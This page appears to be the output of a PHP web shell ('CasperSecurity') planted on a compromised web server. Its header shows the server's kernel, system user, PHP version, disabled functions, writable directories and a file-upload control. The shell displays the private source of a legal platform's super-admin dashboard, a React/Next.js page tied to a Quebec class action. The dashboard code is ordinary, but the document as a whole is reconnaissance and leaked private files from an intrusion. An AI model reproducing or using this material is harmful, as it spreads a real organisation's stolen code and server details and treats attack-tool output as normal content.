T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/lavocat.ca/private_html/src/pages/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/lavocat.ca/private_html/src/pages/admin/super.tsx
import React, { useState, useEffect } from 'react';
import { useSession } from 'next-auth/react';
import { useRouter } from 'next/router';
import LayoutWithSidebar from '@/components/LayoutWithSidebar';
import { toast } from 'react-hot-toast';

interface User {
  id: string;
  name: string;
  email: string;
  role: string;
  title?: string;
  isProfilePublic: boolean;
  createdAt: string;
  lastActive?: string;
}

interface SystemStats {
  totalUsers: number;
  totalCases: number;
  totalDocuments: number;
  activeUsers: number;
  activeCases: number;
  totalApplications: number;
  lawFirms: number;
  roleDistribution: { [key: string]: number };
}

const SuperAdminDashboard: React.FC = () => {
  const { data: session, status } = useSession();
  const router = useRouter();
  const [users, setUsers] = useState<User[]>([]);
  const [stats, setStats] = useState<SystemStats | null>(null);
  const [loading, setLoading] = useState(true);

  useEffect(() => {
    if (status === 'loading') return;
    
    if (!session || session.user.role !== 'SUPERADMIN') {
      router.push('/admin');
      return;
    }

    fetchData();
  }, [session, status, router]);

  const fetchData = async () => {
    try {
      const [usersResponse, registrationsResponse, casesResponse] = await Promise.all([
        fetch('/api/admin/users'),
        fetch('/api/admin/registrations').catch(() => null),
        fetch('/api/admin/cases').catch(() => null)
      ]);

      let totalUsers = 0;
      let totalCases = 0;
      let activeCases = 0;
      let totalApplications = 0;
      let totalDocuments = 0;
      let activeUsers = 0;
      let lawFirms = 1; // ADW firm
      let roleDistribution: { [key: string]: number } = {};
      let usersData: User[] = [];

      // Process users data
      if (usersResponse && usersResponse.ok) {
        const usersResult = await usersResponse.json();
        const users = usersResult.users || usersResult; // Handle both formats
        usersData = users.map((user: any) => ({
          id: user.id,
          name: user.name || 'No Name',
          email: user.email,
          role: user.role,
          title: user.title,
          isProfilePublic: user.isProfilePublic || false,
          createdAt: user.createdAt,
          lastActive: user.lastActive
        }));

        totalUsers = users.length;
        
        // Calculate active users (active in last 24 hours)
        const oneDayAgo = new Date(Date.now() - 24 * 60 * 60 * 1000);
        activeUsers = users.filter((user: any) => 
          user.lastActive && new Date(user.lastActive) > oneDayAgo
        ).length;

        // Calculate role distribution
        roleDistribution = users.reduce((acc: any, user: any) => {
          acc[user.role] = (acc[user.role] || 0) + 1;
          return acc;
        }, {});
      }

      // Process cases data (new multi-case system)
      if (casesResponse && casesResponse.ok) {
        const casesData = await casesResponse.json();
        const cases = casesData.cases || [];
        totalCases = cases.length;
        activeCases = cases.filter((c: any) => c.status === 'active').length;
        totalApplications = cases.reduce((sum: number, c: any) => sum + (c._count?.registrations || 0), 0);
      }

      // Process registrations/applications data (fallback)
      if (registrationsResponse && registrationsResponse.ok && totalApplications === 0) {
        const registrations = await registrationsResponse.json();
        totalApplications = Array.isArray(registrations) ? registrations.length : 0;
      }

      // Estimate documents
      totalDocuments = totalApplications * 2; // Rough estimate

      setStats({
        totalUsers,
        totalCases,
        totalDocuments,
        activeUsers,
        activeCases,
        totalApplications,
        lawFirms,
        roleDistribution
      });

      setUsers(usersData);

    } catch (error) {
      console.error('Error fetching data:', error);
      toast.error('Error loading dashboard data');
      
      // Fallback to minimal data
      setStats({
        totalUsers: 0,
        totalCases: 0,
        totalDocuments: 0,
        activeUsers: 0,
        activeCases: 0,
        totalApplications: 0,
        lawFirms: 0,
        roleDistribution: {}
      });
      setUsers([]);
    } finally {
      setLoading(false);
    }
  };

  const getRoleBadgeColor = (role: string) => {
    switch (role) {
      case 'SUPERADMIN': return 'bg-red-500 text-white';
      case 'ADMIN': return 'bg-purple-500 text-white';
      case 'LAWYER': return 'bg-blue-500 text-white';
      case 'SECRETARY': return 'bg-green-500 text-white';
      case 'ASSISTANT': return 'bg-yellow-500 text-black';
      case 'CLERK': return 'bg-orange-500 text-white';
      case 'USER': return 'bg-gray-500 text-white';
      default: return 'bg-gray-500 text-white';
    }
  };

  if (status === 'loading' || loading) {
    return (
      <LayoutWithSidebar>
        <div className="flex justify-center items-center min-h-screen">
          <div className="animate-spin rounded-full h-32 w-32 border-b-2 border-red-600"></div>
        </div>
      </LayoutWithSidebar>
    );
  }

  if (!session || session.user.role !== 'SUPERADMIN') {
    return null;
  }

  return (
    <LayoutWithSidebar>
      <div className="max-w-7xl mx-auto p-6">
        {/* Header */}
        <div className="mb-8">
          <h1 className="text-3xl font-bold text-gray-900 dark:text-white flex items-center">
            🏒 Legal Representative & CEO Dashboard
          </h1>
          <p className="text-gray-600 dark:text-gray-400 mt-2">
            LibertΓ© MΓͺme En Prison - Multi-case platform oversight
          </p>
          <div className="mt-3 p-3 bg-blue-50 border-l-4 border-blue-500 rounded">
            <p className="text-sm text-blue-700 font-medium">
              πŸ›οΈ Class Action Case: Bordeaux Detention Center (2024QCCS4539)
            </p>
            <p className="text-xs text-blue-600 mt-1">
              Lead Attorney: Justin Wee | ADW Law Firm | Quebec Superior Court
            </p>
          </div>
        </div>

        {/* Enhanced System Stats */}
        {stats && (
          <div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-6 mb-8">
            <div className="bg-gradient-to-r from-blue-500 to-blue-600 rounded-lg p-6 text-white">
              <h3 className="text-sm font-medium opacity-90">Total Users</h3>
              <p className="text-3xl font-bold">{stats.totalUsers}</p>
              <p className="text-sm opacity-75 mt-1">{stats.activeUsers} active today</p>
            </div>
            
            <div className="bg-gradient-to-r from-indigo-500 to-indigo-600 rounded-lg p-6 text-white">
              <h3 className="text-sm font-medium opacity-90">Legal Cases</h3>
              <p className="text-3xl font-bold">{stats.totalCases}</p>
              <p className="text-sm opacity-75 mt-1">{stats.activeCases} active cases</p>
            </div>

            <div className="bg-gradient-to-r from-green-500 to-green-600 rounded-lg p-6 text-white">
              <h3 className="text-sm font-medium opacity-90">Applications</h3>
              <p className="text-3xl font-bold">{stats.totalApplications}</p>
              <p className="text-sm opacity-75 mt-1">Client registrations</p>
            </div>

            <div className="bg-gradient-to-r from-purple-500 to-purple-600 rounded-lg p-6 text-white">
              <h3 className="text-sm font-medium opacity-90">Law Firms</h3>
              <p className="text-3xl font-bold">{stats.lawFirms}</p>
              <p className="text-sm opacity-75 mt-1">Partner firms</p>
            </div>
          </div>
        )}

        {/* Role Distribution */}
        {stats && (
          <div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700 p-6 mb-8">
            <h2 className="text-xl font-semibold text-gray-900 dark:text-white mb-4">
              Role Distribution
            </h2>
            <div className="grid grid-cols-2 md:grid-cols-4 lg:grid-cols-7 gap-4">
              {Object.entries(stats.roleDistribution).map(([role, count]) => (
                <div key={role} className="text-center">
                  <div className={`inline-block px-3 py-1 rounded-full text-sm font-medium ${getRoleBadgeColor(role)}`}>
                    {role}
                  </div>
                  <p className="text-2xl font-bold text-gray-900 dark:text-white mt-2">{count}</p>
                </div>
              ))}
            </div>
          </div>
        )}

        {/* Multi-Case System Status */}
        <div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700 p-6 mb-8">
          <h2 className="text-xl font-semibold text-gray-900 dark:text-white mb-4">
            βš–οΈ Multi-Case Legal Platform Status
          </h2>
          <div className="grid grid-cols-1 md:grid-cols-3 gap-6">
            <div className="bg-green-50 dark:bg-green-900/20 border border-green-200 dark:border-green-800 rounded-lg p-4">
              <div className="flex items-center">
                <div className="w-8 h-8 bg-green-500 rounded-full flex items-center justify-center">
                  <span className="text-white text-sm">βœ“</span>
                </div>
                <div className="ml-3">
                  <p className="font-medium text-green-800 dark:text-green-200">Case Management Active</p>
                  <p className="text-sm text-green-600 dark:text-green-400">{stats?.totalCases || 0} cases configured</p>
                </div>
              </div>
            </div>

            <div className="bg-blue-50 dark:bg-blue-900/20 border border-blue-200 dark:border-blue-800 rounded-lg p-4">
              <div className="flex items-center">
                <div className="w-8 h-8 bg-blue-500 rounded-full flex items-center justify-center">
                  <span className="text-white text-sm">πŸ‘₯</span>
                </div>
                <div className="ml-3">
                  <p className="font-medium text-blue-800 dark:text-blue-200">ADW Law Firm</p>
                  <p className="text-sm text-blue-600 dark:text-blue-400">4 lawyers + Justin (ADMIN)</p>
                </div>
              </div>
            </div>

            <div className="bg-purple-50 dark:bg-purple-900/20 border border-purple-200 dark:border-purple-800 rounded-lg p-4">
              <div className="flex items-center">
                <div className="w-8 h-8 bg-purple-500 rounded-full flex items-center justify-center">
                  <span className="text-white text-sm">πŸ”„</span>
                </div>
                <div className="ml-3">
                  <p className="font-medium text-purple-800 dark:text-purple-200">Auto-Assignment</p>
                  <p className="text-sm text-purple-600 dark:text-purple-400">AI-powered case matching</p>
                </div>
              </div>
            </div>
          </div>
        </div>

        {/* Team Members */}
        {users && users.length > 0 && (
          <div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700 p-6 mb-8">
            <div className="flex justify-between items-center mb-6">
              <h2 className="text-xl font-semibold text-gray-900 dark:text-white">
                πŸ‘₯ Team Members ({users.length})
              </h2>
              <button 
                onClick={() => router.push('/admin/users')}
                className="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700 transition-colors"
              >
                Manage All Users
              </button>
            </div>
            
            <div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4">
              {users.map((user) => (
                <div key={user.id} className="border border-gray-200 dark:border-gray-700 rounded-lg p-4 hover:bg-gray-50 dark:hover:bg-gray-700 transition-colors">
                  <div className="flex items-start justify-between mb-3">
                    <div className="flex-1">
                      <h3 className="font-medium text-gray-900 dark:text-white">
                        {user.name || 'No Name'}
                      </h3>
                      <p className="text-sm text-gray-600 dark:text-gray-400">{user.email}</p>
                      {user.title && (
                        <p className="text-sm text-blue-600 dark:text-blue-400 mt-1">{user.title}</p>
                      )}
                    </div>
                    <div className={`px-2 py-1 rounded-full text-xs font-medium ${getRoleBadgeColor(user.role)}`}>
                      {user.role}
                    </div>
                  </div>
                  
                  <div className="flex items-center justify-between text-sm">
                    <span className="text-gray-500 dark:text-gray-400">
                      Joined: {new Date(user.createdAt).toLocaleDateString()}
                    </span>
                    <div className="flex items-center space-x-2">
                      {user.isProfilePublic && (
                        <span className="text-green-600 dark:text-green-400" title="Public Profile">
                          🌐
                        </span>
                      )}
                      {user.lastActive && new Date(user.lastActive) > new Date(Date.now() - 24 * 60 * 60 * 1000) ? (
                        <span className="text-green-600 dark:text-green-400" title="Active today">
                          🟒
                        </span>
                      ) : (
                        <span className="text-gray-400" title="Inactive">
                          ⚫
                        </span>
                      )}
                    </div>
                  </div>
                </div>
              ))}
            </div>
            
            {/* Role Summary */}
            <div className="mt-6 pt-6 border-t border-gray-200 dark:border-gray-700">
              <h3 className="text-lg font-medium text-gray-900 dark:text-white mb-3">Team Overview</h3>
              <div className="grid grid-cols-2 md:grid-cols-4 gap-4">
                <div className="text-center">
                  <div className="text-2xl font-bold text-red-600 dark:text-red-400">
                    {users.filter(u => u.role === 'SUPERADMIN').length}
                  </div>
                  <div className="text-sm text-gray-600 dark:text-gray-400">Super Admins</div>
                </div>
                <div className="text-center">
                  <div className="text-2xl font-bold text-blue-600 dark:text-blue-400">
                    {users.filter(u => u.role === 'LAWYER').length}
                  </div>
                  <div className="text-sm text-gray-600 dark:text-gray-400">Lawyers</div>
                </div>
                <div className="text-center">
                  <div className="text-2xl font-bold text-purple-600 dark:text-purple-400">
                    {users.filter(u => u.role === 'ADMIN').length}
                  </div>
                  <div className="text-sm text-gray-600 dark:text-gray-400">Admins</div>
                </div>
                <div className="text-center">
                  <div className="text-2xl font-bold text-gray-600 dark:text-gray-400">
                    {users.filter(u => u.role === 'USER').length}
                  </div>
                  <div className="text-sm text-gray-600 dark:text-gray-400">Clients</div>
                </div>
              </div>
            </div>
          </div>
        )}

        {/* Enhanced Quick Actions */}
        <div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700 p-6">
          <h2 className="text-xl font-semibold text-gray-900 dark:text-white mb-4">
            πŸš€ Multi-Case Legal Platform Management
          </h2>
          <div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4">
            {/* Core Features */}
            <button 
              onClick={() => router.push('/admin/case-management')}
              className="p-4 border-2 border-indigo-300 dark:border-indigo-600 bg-indigo-50 dark:bg-indigo-900/20 rounded-lg hover:bg-indigo-100 dark:hover:bg-indigo-900/30 transition-colors text-left"
            >
              <div className="text-2xl mb-2">βš–οΈ</div>
              <h3 className="font-medium text-indigo-900 dark:text-indigo-200">Case Management</h3>
              <p className="text-sm text-indigo-700 dark:text-indigo-400">Create & manage legal cases</p>
              <span className="inline-block mt-1 px-2 py-1 bg-indigo-200 dark:bg-indigo-800 text-indigo-800 dark:text-indigo-200 text-xs rounded-full">CORE</span>
            </button>

            <button 
              onClick={() => router.push('/admin/case-assignments')}
              className="p-4 border-2 border-blue-300 dark:border-blue-600 bg-blue-50 dark:bg-blue-900/20 rounded-lg hover:bg-blue-100 dark:hover:bg-blue-900/30 transition-colors text-left"
            >
              <div className="text-2xl mb-2">πŸ€–</div>
              <h3 className="font-medium text-blue-900 dark:text-blue-200">AI Case Assignments</h3>
              <p className="text-sm text-blue-700 dark:text-blue-400">Smart team matching & automation</p>
              <span className="inline-block mt-1 px-2 py-1 bg-blue-200 dark:bg-blue-800 text-blue-800 dark:text-blue-200 text-xs rounded-full">AI</span>
            </button>

            <button 
              onClick={() => router.push('/admin/analytics-dashboard')}
              className="p-4 border-2 border-purple-300 dark:border-purple-600 bg-purple-50 dark:bg-purple-900/20 rounded-lg hover:bg-purple-100 dark:hover:bg-purple-900/30 transition-colors text-left"
            >
              <div className="text-2xl mb-2">πŸ“Š</div>
              <h3 className="font-medium text-purple-900 dark:text-purple-200">Analytics Dashboard</h3>
              <p className="text-sm text-purple-700 dark:text-purple-400">Real-time insights & predictions</p>
              <span className="inline-block mt-1 px-2 py-1 bg-purple-200 dark:bg-purple-800 text-purple-800 dark:text-purple-200 text-xs rounded-full">ANALYTICS</span>
            </button>

            {/* Standard Features */}
            <button 
              onClick={() => router.push('/admin/registrations')}
              className="p-4 border border-gray-200 dark:border-gray-700 rounded-lg hover:bg-gray-50 dark:hover:bg-gray-700 transition-colors text-left"
            >
              <div className="text-2xl mb-2">πŸ“‹</div>
              <h3 className="font-medium text-gray-900 dark:text-white">Applications</h3>
              <p className="text-sm text-gray-600 dark:text-gray-400">Review client applications</p>
            </button>

            <button 
              onClick={() => router.push('/admin/newsletter')}
              className="p-4 border border-gray-200 dark:border-gray-700 rounded-lg hover:bg-gray-50 dark:hover:bg-gray-700 transition-colors text-left"
            >
              <div className="text-2xl mb-2">πŸ“§</div>
              <h3 className="font-medium text-gray-900 dark:text-white">Newsletter System</h3>
              <p className="text-sm text-gray-600 dark:text-gray-400">Manage campaigns & subscribers</p>
            </button>

            <button 
              onClick={() => router.push('/profiles')}
              className="p-4 border border-gray-200 dark:border-gray-700 rounded-lg hover:bg-gray-50 dark:hover:bg-gray-700 transition-colors text-left"
            >
              <div className="text-2xl mb-2">πŸ‘₯</div>
              <h3 className="font-medium text-gray-900 dark:text-white">Team Directory</h3>
              <p className="text-sm text-gray-600 dark:text-gray-400">View public profiles</p>
            </button>

            {/* Coming Soon Features */}
            <button 
              onClick={() => toast.success('Advanced features coming soon!')}
              className="p-4 border border-gray-200 dark:border-gray-700 rounded-lg hover:bg-gray-50 dark:hover:bg-gray-700 transition-colors text-left"
            >
              <div className="text-2xl mb-2">⏰</div>
              <h3 className="font-medium text-gray-900 dark:text-white">Time Tracking</h3>
              <p className="text-sm text-gray-600 dark:text-gray-400">Coming soon</p>
            </button>

            <button 
              onClick={() => toast.success('Advanced features coming soon!')}
              className="p-4 border border-gray-200 dark:border-gray-700 rounded-lg hover:bg-gray-50 dark:hover:bg-gray-700 transition-colors text-left"
            >
              <div className="text-2xl mb-2">πŸ’°</div>
              <h3 className="font-medium text-gray-900 dark:text-white">Billing System</h3>
              <p className="text-sm text-gray-600 dark:text-gray-400">Coming soon</p>
            </button>

            <button 
              onClick={() => toast.success('Advanced features coming soon!')}
              className="p-4 border border-gray-200 dark:border-gray-700 rounded-lg hover:bg-gray-50 dark:hover:bg-gray-700 transition-colors text-left"
            >
              <div className="text-2xl mb-2">πŸ“…</div>
              <h3 className="font-medium text-gray-900 dark:text-white">Calendar Integration</h3>
              <p className="text-sm text-gray-600 dark:text-gray-400">Coming soon</p>
            </button>
          </div>
        </div>
      </div>
    </LayoutWithSidebar>
  );
};

export default SuperAdminDashboard; 

CasperSecurity Mini